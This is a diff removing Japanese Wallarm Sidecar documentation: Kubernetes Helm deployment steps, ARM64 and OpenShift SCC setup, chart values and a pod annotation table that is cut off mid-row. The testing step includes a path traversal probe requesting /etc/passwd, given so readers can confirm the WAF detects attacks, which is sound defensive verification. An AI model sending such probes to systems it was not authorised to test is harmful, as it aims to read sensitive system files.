Consoleの**Nodes**セクションに表示されます。デフォルトのグループ名は`defaultSidecarGroup`です。必要に応じて、保護対象アプリケーションごとにPod単位で後からフィルタリングノードのグループ名を設定できます。この場合は、[`sidecar.wallarm.io/wallarm-node-group`](pod-annotations.md#wallarm-node-group)アノテーションを使用します。 - - === "US Cloud" - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" - # nodeGroup: "defaultSidecarGroup" - ``` - === "EU Cloud" - ```yaml - config: - wallarm: - api: - token: "" - # nodeGroup: "defaultSidecarGroup" - ``` - - ``はKubernetesで実行するWallarmノードのトークンです。 - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. WallarmのHelmチャートをデプロイします: - - ``` bash - helm install --version 6.4.0 wallarm/wallarm-sidecar --wait -n wallarm-sidecar --create-namespace -f - ``` - - * ``はWallarm SidecarチャートのHelmリリース名です。 - * `wallarm-sidecar`はWallarm SidecarチャートのHelmリリースをデプロイする新しいNamespaceであり、専用のNamespaceにデプロイすることを推奨します。 - * ``は`values.yaml`ファイルへのパスです。 - -### ステップ3: アプリケーションPodにWallarm Sidecarをアタッチする - -Wallarmがアプリケーショントラフィックをフィルタリングできるようにするには、対象のアプリケーションPodに`wallarm-sidecar: enabled`ラベルを追加します: - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="15" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -* アプリケーションPodの`wallarm-sidecar`ラベルが`disabled`に設定されている、または明示的に指定されていない場合、Wallarm SidecarコンテナはPodにインジェクトされないため、Wallarmはトラフィックをフィルタリングしません。 -* アプリケーションPodの`wallarm-sidecar`ラベルが`enabled`に設定されている場合、Wallarm SidecarコンテナがPodにインジェクトされ、Wallarmが受信トラフィックをフィルタリングします。 - -### ステップ4: Wallarm Sidecarの動作をテストする - -Wallarm Sidecarが正しく動作していることを確認するには: - -1. Wallarmのコントロールプレーンが正常に起動しているか確認するため、その詳細を取得します: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - 各Podの表示は次のとおりである必要があります: **READY: N/N** および **STATUS: Running**。例: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 3/3 Running 0 91m - ``` -1. アプリケーションPodの詳細を取得し、Wallarmサイドカーコンテナが正常にインジェクトされたことを確認します: - - ```bash - kubectl get pods -n --selector app= - ``` - - 出力に**READY: 2/2**（サイドカーコンテナのインジェクション成功を示す）および**STATUS: Running**（Wallarm Cloudへの接続成功を示す）が表示されるはずです: - - ``` - NAME READY STATUS RESTARTS AGE - myapp-5c48c97b66-lzkwf 2/2 Running 0 3h4m - ``` -1. Wallarmがトラフィックをフィルタリングするよう有効化されているアプリケーションクラスターのアドレスに、テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を送信します: - - ```bash - curl http:///etc/passwd - ``` - - Wallarmプロキシはデフォルトで**monitoring**の[フィルタリングモード][filtration-mode-docs]で動作するため、Wallarmノードは攻撃をブロックせず、検知して記録します。 - - 攻撃が記録されたことを確認するには、Wallarm Console → **Attacks**に進みます: - - ![インターフェースのAttacks][attacks-in-ui-image] - -## ARM64デプロイ - -SidecarプロキシのHelmチャートバージョン4.10.2から、ARM64プロセッサーに対応しました。初期設定はx86アーキテクチャ向けのため、ARM64ノードへデプロイするにはHelmチャートのパラメータを変更します。 - -ARM64の構成では、Kubernetesノードに`arm64`ラベルが付与されていることがよくあります。KubernetesスケジューラーがWallarmワークロードを適切なノード種別に割り当てられるよう、このラベルをWallarmのHelmチャート設定で`nodeSelector`、`tolerations`、またはアフィニティルールで参照してください。 - -以下はGoogle Kubernetes Engine（GKE）向けのWallarm Helmチャートの例で、該当ノードに`kubernetes.io/arch: arm64`ラベルを使用します。各クラウドのARM64ラベリング規則に合わせて、このテンプレートは他のクラウド構成にも調整できます。 - -=== "nodeSelector" - ```yaml - config: - wallarm: - api: - token: "" - # APIトークンを使用する場合は、次の行のコメントを解除し、ノードグループ名を指定してください - # nodeGroup: "defaultSidecarGroup" - postanalytics: - nodeSelector: - kubernetes.io/arch: arm64 - controller: - nodeSelector: - kubernetes.io/arch: arm64 - ``` -=== "tolerations" - ```yaml - config: - wallarm: - api: - token: "" - # APIトークンを使用する場合は、次の行のコメントを解除し、ノードグループ名を指定してください - # nodeGroup: "defaultSidecarGroup" - postanalytics: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - controller: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - ``` - -## OpenShiftにおけるSecurity Context Constraints（SCC） - -OpenShiftにSidecarソリューションをデプロイする際は、プラットフォームのセキュリティ要件に合わせたカスタムSecurity Context Constraint（SCC）を定義する必要があります。デフォルトの制約ではWallarmソリューションに不十分な場合があり、エラーの原因となる可能性があります。 - -以下は、OpenShift向けに調整されたWallarm Sidecarソリューション推奨のカスタムSCCです。本構成は、[iptables](customization.md#capturing-incoming-traffic-port-forwarding)を使用せず、非特権モードでソリューションを実行することを想定しています。 - -!!! warning "Sidecarをデプロイする前にSCCを適用してください" - Wallarm Sidecarソリューションをデプロイする前に、必ずSCCを適用してください。 - -1. 次の内容で`wallarm-scc.yaml`ファイルにカスタムSCCを定義します: - - ```yaml - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-sidecar-deployment - name: wallarm-sidecar-deployment - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAsRange - uidRangeMin: 101 - uidRangeMax: 65532 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - configMap - - emptyDir - - secret - ``` -1. このポリシーをクラスターに適用します: - - ``` - kubectl apply -f wallarm-scc.yaml - ``` -1. SidecarをデプロイするKubernetesのNamespaceを作成します（例）: - - ```bash - kubectl create namespace wallarm-sidecar - ``` -1. Wallarm SidecarのワークロードがSCCポリシーを使用できるように許可します: - - ```bash - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z -wallarm-sidecar-postanalytics -n wallarm-sidecar - - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z -wallarm-sidecar-admission -n wallarm-sidecar - ``` - - * ``: `helm install`時に使用するHelmリリース名です。 - - !!! warning "`wallarm-sidecar`をリリース名に含める場合" - リリース名に`wallarm-sidecar`が含まれるときは、サービスアカウント名からそれを省きます。 - - アカウント名は`wallarm-sidecar-postanalytics`および`wallarm-sidecar-admission`になります。 - - * `-n wallarm-sidecar`: 上で作成した、SidecarをデプロイするNamespaceです。 - - 例: Namespaceが`wallarm-sidecar`、Helmリリース名が`wlrm-sidecar`の場合: - - ```bash - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z wlrm-sidecar-wallarm-sidecar-postanalytics -n wallarm-sidecar - - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z wlrm-sidecar-wallarm-sidecar-admission -n wallarm-sidecar - ``` -1. 上記と同じNamespaceおよびHelmリリース名を使用して、[Wallarm Sidecarをデプロイ](#deployment)します。 -1. 特権のiptablesコンテナの実行を避けるため、[iptablesの使用を無効化](customization.md#capturing-incoming-traffic-port-forwarding)します。これは`values.yaml`でグローバルに、またはPod単位でアノテーションにより実施できます。 - - === "`values.yaml`でiptablesを無効化する" - 1. `values.yaml`で`config.injectionStrategy.iptablesEnable`を`false`に設定します。 - - ```yaml - config: - injectionStrategy: - iptablesEnable: false - wallarm: - api: - ... - ``` - 1. アプリケーションのServiceマニフェストで、`spec.ports.targetPort`を`proxy`に設定します。iptablesを無効化すると、Sidecarはこのポートを公開します。 - - ```yaml hl_lines="9" - apiVersion: v1 - kind: Service - metadata: - name: myapp-svc - namespace: default - spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp - ``` - - OpenShiftのRoute経由でアプリケーションを公開する場合は、`spec.ports.targetPort`を`26001`に設定します。 - === "Podアノテーションでiptablesを無効化する" - 1. Podのアノテーション`sidecar.wallarm.io/sidecar-injection-iptables-enable`を`"false"`に設定して、Pod単位でiptablesを無効化します。 - 1. アプリケーションのServiceマニフェストで、`spec.ports.targetPort`を`proxy`に設定します。iptablesを無効化すると、Sidecarはこのポートを公開します。 - - ```yaml hl_lines="16-17 34" - apiVersion: apps/v1 - kind: Deployment - metadata: - name: myapp - namespace: default - spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 - --- - apiVersion: v1 - kind: Service - metadata: - name: myapp-svc - namespace: default - spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp - ``` - - OpenShiftのRoute経由でアプリケーションを公開する場合は、`spec.ports.targetPort`を`26001`に設定します。 -1. 更新した構成でアプリケーションをデプロイします: - - ```bash - kubectl -n apply -f - ``` -1. WallarmのPodに正しいSCCが適用されていることを確認します: - - ```bash - WALLARM_SIDECAR_NAMESPACE="wallarm-sidecar" - POD=$(kubectl -n ${WALLARM_SIDECAR_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=postanalytics" | cut -d '/' -f 2) - kubectl -n ${WALLARM_SIDECAR_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - ``` - - 期待される出力は`wallarm-sidecar-deployment`です。 -1. アプリケーションのPodに`wallarm-sidecar-deployment`と同じSCCを付与し、必要なUID範囲が許可されていることを確認します。インジェクトされるSidecarコンテナはこのUID範囲で実行されるため、必要です。 - - 次のコマンドで`wallarm-sidecar-deployment`ポリシーを付与します: - - ```bash - APP_NAMESPACE= - POD_NAME= - APP_POD_SERVICE_ACCOUNT_NAME=$(oc get pod $POD_NAME -n $APP_NAMESPACE -o jsonpath='{.spec.serviceAccountName}') - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - system:serviceaccount:$APP_NAMESPACE:$APP_POD_SERVICE_ACCOUNT_NAME - ``` - - 本番環境では、アプリケーションおよびWallarmの要件に合わせたカスタムSCCを作成してください。 - -## カスタマイズ - -WallarmのPodは、[デフォルトの`values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml)と、デプロイ手順の2番目で指定したカスタム設定に基づいてインジェクトされています。 - -グローバルおよびPod単位の両方でWallarmプロキシの挙動をさらにカスタマイズし、貴社のニーズに最適化できます。 - -[Wallarmプロキシソリューションのカスタマイズガイド](customization.md)をご覧ください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/latest-ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index dc5aee4aa0..0000000000 --- a/docs/latest-ja/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,373 +0,0 @@ -# Sidecar HelmチャートのWallarm固有の値 - -このドキュメントでは、[Wallarm Sidecarのデプロイ](deployment.md)または[アップグレード][sidecar-upgrade-docs]の際に変更できる、Wallarm固有のHelmチャート値について説明します。Wallarm固有の値およびその他のチャート値は、Sidecar Helmチャートのグローバル構成に使用します。 - -!!! info "グローバル設定とPodごとの設定の優先順位" - PodごとのアノテーションはHelmチャートの値よりも[優先されます](customization.md#configuration-area)。 - -変更が必要になる可能性がある[デフォルトの`values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml)のWallarm固有の部分は次のとおりです: - -```yaml -config: - wallarm: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - caVerify: true - nodeGroup: "defaultSidecarGroup" - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - apiFirewall: - mode: "on" - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 - fallback: "on" - mode: monitoring - modeAllowOverride: "on" - enableLibDetection: "on" - parseResponse: "on" - aclExportEnable: "on" - parseWebsocket: "off" - unpackResponse: "on" - ... - nginx: - workerProcesses: auto - workerConnections: 4096 - logs: - extended: false - format: text - -postanalytics: - external: - enabled: false - host: "" - port: 3313 - wstore: - config: - arena: "2.0" - serviceAddress: "[::]:3313" - ### TLS構成設定（任意） - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - ... -# カスタムのadmission webhook証明書をプロビジョニングするための任意のセクション -# controller: -# admissionWebhook: -# certManager: -# enabled: false -# secret: -# enabled: false -# ca: -# crt: -# key: -``` - -## config.wallarm.api.token - -フィルタリングノードのトークン値です。Wallarm APIにアクセスするために必要です。 - -トークンは次の[種類][node-token-types]のいずれかです: - -* **APIトークン（推奨）** - UIの整理のためにノードグループを動的に追加/削除する必要がある場合、またはセキュリティ向上のためにトークンのライフサイクルを管理したい場合に最適です。APIトークンを生成するには: - - APIトークンを生成するには: - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のいずれかのWallarm Console → Settings → API tokensに移動します。 - 1. 使用タイプが「Node deployment/Deployment」のAPIトークンを作成します。 - 1. ノードのデプロイ時に、生成したトークンを使用し、`config.wallarm.api.nodeGroup`パラメータでグループ名を指定します。異なるAPIトークンを使用して複数のノードを1つのグループに追加できます。 -* **ノードトークン** - 使用するノードグループがすでに分かっている場合に適しています。 - - ノードトークンを生成するには: - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のいずれかのWallarm Console → Nodesに移動します。 - 1. ノードを作成し、ノードグループに名前を付けます。 - 1. ノードをデプロイする際、当該グループに含めたい各ノードで、そのグループのトークンを使用します。 - -このパラメータは、[`config.wallarm.api.existingSecret.enabled: true`](#configwallarmapiexistingsecret)の場合は無視されます。 - -## config.wallarm.api.host - -Wallarm APIのエンドポイントです。次のいずれかを指定します: - -* `us1.api.wallarm.com` — [US cloud][us-cloud-docs]向け -* `api.wallarm.com` — [EU cloud][eu-cloud-docs]向け（デフォルト） - -## config.wallarm.api.nodeGroup - -新たにデプロイしたノードを追加するフィルタリングノードのグループ名を指定します。この方法でのノードのグループ化は、使用タイプが「Node deployment/Deployment」のAPIトークン（値は`config.wallarm.api.token`パラメータで渡します）を使用してCloudにノードを作成・接続する場合にのみ利用できます。 - -**デフォルト値**: `defaultSidecarGroup` - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-node-group`. - -## config.wallarm.api.existingSecret - -Helmチャートバージョン4.4.4以降、この設定ブロックを使用してKubernetesのSecretからWallarmノードトークンの値を取得できます。外部のシークレット管理（例: external secretsオペレーターを使用している場合）を行う環境に有用です。 - -K8sのSecretにノードトークンを保存し、Helmチャートに取り込むには: - -1. Wallarmノードトークンを使用してKubernetesのSecretを作成します: - - ```bash - kubectl -n wallarm-sidecar create secret generic wallarm-api-token --from-literal=token= - ``` - - * デプロイ手順に従い変更を加えていない場合、`wallarm-sidecar`はWallarm Sidecarコントローラーを含むHelmリリース用に作成されたKubernetesのNamespaceです。別のNamespaceを使用している場合は名称を置き換えてください。 - * `wallarm-api-token`はKubernetesのSecret名です。 - * ``はWallarm ConsoleのUIからコピーしたWallarmノードトークンの値です。 - - 外部のシークレットオペレーターを使用する場合は、[適切なドキュメントに従ってシークレットを作成](https://external-secrets.io)してください。 -1. `values.yaml`で次の構成を設定します: - - ```yaml - config: - wallarm: - api: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**デフォルト値**: `existingSecret.enabled: false`。この場合、Helmチャートは`config.wallarm.api.token`からWallarmノードトークンを取得します。 - -## config.wallarm.apiFirewall - -リリース4.10から利用可能な[API Specification Enforcement][api-spec-enforcement-docs]の設定を制御します。デフォルトで有効で、以下のとおりに設定されています。この機能を使用している場合、これらの値は変更しないことを推奨します。 - -```yaml -config: - wallarm: - apiFirewall: - mode: "on" - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 -``` - -ノード5.3.0以降、以下が提供されています（上記の例のデフォルト値を参照してください）: - -| 設定 | 説明 | -| ------- | ----------- | -| `readBufferSize` | 要求読み込みの接続ごとのバッファサイズです。これはヘッダーの最大サイズも制限します。クライアントが複数KBのRequestURIや複数KBのヘッダー（例: 大きなCookie）を送信する場合はこのバッファを増やしてください。 | -| `writeBufferSize` | 応答書き込みの接続ごとのバッファサイズです。 | -| `maxRequestBodySize` | 要求ボディの最大サイズです。この制限を超えるボディを持つ要求はサーバーが拒否します。 | -| `disableKeepalive` | Keep-Alive接続を無効にします。このオプションが`true`に設定されている場合、サーバーはクライアントへの最初の応答送信後、すべての受信接続を閉じます。 | -| `maxConnectionsPerIp` | IPごとに許可される同時クライアント接続の最大数です。`0` = `無制限`。 | -| `maxRequestsPerConnection` | 接続あたりで処理される要求の最大数です。最後の要求後にサーバーは接続を閉じます。最後の応答には`Connection: close`ヘッダーが追加されます。`0` = `無制限`。 | - -## config.wallarm.fallback - -値を`on`（デフォルト）にすると、NGINXサービスは緊急モードに入る能力を持ちます。Wallarm Cloudの利用不能によりproton.dbやカスタムルールセットをダウンロードできない場合、この設定はWallarmモジュールを無効にし、NGINXの動作を維持します。 - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-fallback`. - -## config.wallarm.mode - -グローバルな[トラフィックフィルタリングモード][configure-wallarm-mode-docs]です。指定可能な値: - -* `monitoring`（デフォルト） -* `safe_blocking` -* `block` -* `off` - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode`. - -## config.wallarm.modeAllowOverride - -Cloudの設定経由で`wallarm_mode`値を[上書きできるかどうか][filtration-mode-priorities-docs]を管理します。指定可能な値: - -* `on`（デフォルト） -* `off` -* `strict` - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode-allow-override`. - -## config.wallarm.enableLibDetection - -[libdetection][libdetection-docs]ライブラリを使用してSQLインジェクション攻撃を追加で検証するかどうか。指定可能な値: - -* `on`（デフォルト） -* `off` - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-enable-libdetection`. - -## config.wallarm.parseResponse - -アプリケーションの応答を攻撃検知のために解析するかどうか。指定可能な値: - -* `on`（デフォルト） -* `off` - -応答の解析は、[パッシブ検出][passive-detection-docs]および[脅威リプレイテスト][active-threat-verification-docs]における脆弱性検出に必要です。 - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-response`. - -## config.wallarm.aclExportEnable - -denylistに登録された[IP][denylist-docs]からのリクエストに関する統計をノードからCloudへ送信することを`on`で有効化 / `off`で無効化します。 - -* `config.wallarm.aclExportEnable: "on"`（デフォルト）の場合、denylistに登録されたIPからのリクエストに関する統計は**Attacks**セクションに[表示されます][denylist-view-events-docs]。 -* `config.wallarm.aclExportEnable: "off"`の場合、denylistに登録されたIPからのリクエストに関する統計は表示されません。 - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-acl-export-enable`. - -## config.wallarm.parseWebsocket - -WallarmはWebSocketを完全にサポートしています。デフォルトでは、WebSocketのメッセージは攻撃解析されません。この機能を有効化するには、API Securityの[サブスクリプションプラン][subscriptions-docs]を有効にし、この設定を使用します。 - -指定可能な値: - -* `on` -* `off`（デフォルト） - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-websocket`. - -## config.wallarm.unpackResponse - -アプリケーションの応答で返される圧縮データを解凍するかどうか: - -* `on`（デフォルト） -* `off` - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/wallarm-unpack-response`. - -## config.nginx.workerConnections - -NGINXワーカープロセスが開くことができる[同時接続数](http://nginx.org/en/docs/ngx_core_module.html#worker_connections)の最大値です。 - -**デフォルト値**: `4096`。 - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/nginx-worker-connections`. - -## config.nginx.workerProcesses - -[NGINXワーカープロセスの数](http://nginx.org/en/docs/ngx_core_module.html#worker_processes)です。 - -**デフォルト値**: `auto`。これは、ワーカー数がCPUコア数に設定されることを意味します。 - -[**Podのアノテーション**](pod-annotations.md): `sidecar.wallarm.io/nginx-worker-processes`. - -## config.nginx.logs.extended - -NGINXで拡張ログを有効にします。拡張ログには、リクエスト時間、アップストリーム応答時間、リクエスト長、接続の詳細などが含まれます。 - -リリース5.3.0以降でサポートされています。 - -**デフォルト値**: `false`。 - -## config.nginx.logs.format - -`config.nginx.logs.extended`が`true`に設定されている場合の拡張ログの形式を指定します。`text`と`json`形式をサポートします。 - -リリース5.3.0以降でサポートされています。 - -**デフォルト値**: `text`。 - -## postanalytics.external.enabled - -Sidecarソリューションのデプロイ時にインストールされたpostanalytics（wstore）モジュールを使用するか、外部ホストにインストールされたものを使用するかを決定します。 - -この機能はHelmリリース4.6.4以降でサポートされています。 - -指定可能な値: - -* `false`（デフォルト）: Sidecarソリューションがデプロイしたpostanalyticsモジュールを使用します。 -* `true`: 有効にする場合、`postanalytics.external.host`および`postanalytics.external.port`に外部のpostanalyticsモジュールのアドレスを指定してください。 - - `true`に設定した場合、Sidecarソリューションはpostanalyticsモジュールを実行せず、指定された`postanalytics.external.host`および`postanalytics.external.port`で到達できることを期待します。 - -## postanalytics.external.host - -別途インストールされたpostanalyticsモジュールのドメインまたはIPアドレスです。`postanalytics.external.enabled`が`true`に設定されている場合は必須です。 - -この機能はHelmリリース4.6.4以降でサポートされています。 - -例: `wstore.domain.external`または`10.10.0.100`。 - -指定したホストには、Sidecar HelmチャートをデプロイしているKubernetesクラスターから到達できる必要があります。 - -## postanalytics.external.port - -Wallarm postanalyticsモジュールが稼働しているTCPポートです。デフォルトでは、Sidecarソリューションがこのポートにモジュールをデプロイするため3313ポートを使用します。 - -`postanalytics.external.enabled`が`true`に設定されている場合、指定した外部ホストでモジュールが稼働しているポートを指定してください。 - -## postanalytics.wstore.config.serviceAddress - -**wstore**が受信接続を受け付けるアドレスとポートを指定します。 - -リリース6.3.0以降でサポートされています。 - -**デフォルト値**: `[::]:3313` - すべてのIPv4およびIPv6インターフェースの3313番ポートで待ち受けます。これは6.3.0以前のバージョンのデフォルト動作でもありました。 - -## postanalytics.wstore.tls - -postanalyticsモジュールへの安全な接続を可能にするTLSおよび相互TLS（mTLS）の設定を行います（任意）: - -```yaml -config: - wstore: - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - -``` - -リリース6.2.0以降でサポートされています。 - -| パラメータ | 説明 | 必須か | -| --------- | ----------- | --------- | -| `enabled` | postanalyticsモジュールへの接続でSSL/TLSを有効または無効にします。デフォルトは`false`（無効）です。 | はい | -| `certFile` | フィルタリングノードがpostanalyticsモジュールへのSSL/TLS接続を確立する際、自身を認証するために使用するクライアント証明書のパスを指定します。 | 「`mutualTLS.enabled`」が`true`の場合は必須 | -| `keyFile` | `certFile`で指定したクライアント証明書に対応する秘密鍵のパスを指定します。 | 「`mutualTLS.enabled`」が`true`の場合は必須 | -| `caCertFile` | postanalyticsモジュールが提示するTLS証明書を検証するために使用する信頼された認証局（CA）証明書のパスを指定します。 | カスタムCAを使用する場合は必須 | -| `mutualTLS.enabled` | 相互TLS（mTLS）を有効にします。フィルタリングノードとpostanalyticsモジュールの双方が証明書により相互の正当性を検証します。デフォルトは`false`（無効）です。 | いいえ | -| `mutualTLS.clientCACertFile` | フィルタリングノードが提示するTLS証明書を検証するために使用する信頼された認証局（CA）証明書のパスを指定します。 | カスタムCAを使用する場合は必須 | - -## controller.admissionWebhook.certManager.enabled - -デフォルトの[`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen)の代わりに[`cert-manager`](https://cert-manager.io/)を使用してadmission webhookの証明書を生成するかどうか。リリース4.10.7以降でサポートされています - -**デフォルト値**: `false`。 - -## controller.admissionWebhook.secret.enabled - -デフォルトの[`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen)を使用する代わりに、admission webhook用の証明書を手動でアップロードするかどうか。リリース4.10.7以降でサポートされています。 - -**デフォルト値**: `false`。 - -`true`に設定した場合、base64でエンコードされたCA証明書、サーバー証明書、および秘密鍵を指定します。例: - -```yaml -controller: - admissionWebhook: - secret: - enabled: true - ca: - crt: - key: -``` \ No newline at end of file diff --git a/docs/latest-ja/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/latest-ja/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index b5f6297965..0000000000 --- a/docs/latest-ja/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,95 +0,0 @@ -# Wallarm SidecarがサポートするPodのアノテーション - -[Wallarm Sidecarソリューション](deployment.md)は、Pod単位のアノテーションによって設定できます。本ドキュメントでは、本ソリューションでサポートされるアノテーションの一覧を説明します。 - -!!! info "グローバル設定とPod単位設定の優先順位" - Pod単位のアノテーションは、Helmチャートの値よりも[優先されます](customization.md#configuration-area)。 - -## アノテーション一覧 - -| アノテーションと対応するチャート値 | 説明 | -|-------------------------------------|------------------------------------------------------------------| -| **アノテーション:** `sidecar.wallarm.io/sidecar-injection-schema`

        `config.injectionStrategy.schema` | [Wallarmコンテナのデプロイパターン](customization.md#single-and-split-deployment-of-containers): `single`（デフォルト）または`split`。 | -| **アノテーション:** `sidecar.wallarm.io/sidecar-injection-iptables-enable`

        `config.injectionStrategy.iptablesEnable` | [`iptables`のinitコンテナを起動するかどうか](customization.md#capturing-incoming-traffic-port-forwarding): `true`（デフォルト）または`false`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-application`

        対応するチャート値なし | [WallarmアプリケーションID][applications-docs]。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-block-page`

        対応するチャート値なし | ブロックされたリクエストに返す[ブロッキングページとエラーコード][custom-blocking-page-docs]。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-enable-libdetection`

        `config.wallarm.enableLibDetection` | libdetectionライブラリを使用してSQLインジェクション攻撃を追加検証するかどうか: `on`（デフォルト）または`off`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-fallback`

        `config.wallarm.fallback` | [Wallarmのフォールバックモード][fallback-mode-docs]: `on`（デフォルト）または`off`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-mode`

        `config.wallarm.mode` | [トラフィックフィルタリングモード][wallarm-modes-docs]: `monitoring`（デフォルト）、`safe_blocking`、`block`、または`off`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-mode-allow-override`

        `config.wallarm.modeAllowOverride` | Cloudの設定で`wallarm_mode`の値を上書きできる[可否を管理します][filtration-mode-priorities-docs]: `on`（デフォルト）、`off`、または`strict`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-node-group`

        `config.wallarm.api.nodeGroup` | 新しくデプロイするノードを追加したいフィルタリングノードグループの名前を指定します。この方法でのノードのグルーピングは、使用タイプが**Node deployment/Deployment**のAPIトークンを使用してCloudにノードを作成・接続する場合にのみ利用できます（値は`config.wallarm.api.token`パラメーターに渡します）。
        この値はpostanalyticsポッドには適用されません。postanalytics用のノードは常に、`config.wallarm.api.nodeGroup`のHelmチャート値で指定されたノードグループにリンクされます。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-parser-disable`

        対応するチャート値なし | [パーサー][parsers-docs]の無効化を許可します。ディレクティブの値は無効化するパーサー名に対応します（例: `json`）。複数のパーサーを指定する場合はセミコロン区切りにします（例: `json;base64`）。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-parse-response`

        `config.wallarm.parseResponse` | アプリケーションのレスポンスを攻撃解析するかどうか: `on`（デフォルト）または`off`。[パッシブ検出][passive-detection-docs]や[脅威リプレイテスト][active-threat-verification-docs]による脆弱性検出にレスポンス解析が必要です。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-acl-export-enable`

        `config.wallarm.aclExportEnable` | ノードからCloudへ、[denylistに登録された][denylist-docs]IPからのリクエストに関する統計情報の送信を`on`で有効化／`off`で無効化します。
        • `"on"`（デフォルト）の場合、denylistに登録されたIPからのリクエストの統計は**Attacks**セクションに[表示されます][denylist-view-events-docs]。
        • `"off"`の場合、denylistに登録されたIPからのリクエストの統計は表示されません。
        | -| **アノテーション:** `sidecar.wallarm.io/wallarm-parse-websocket`

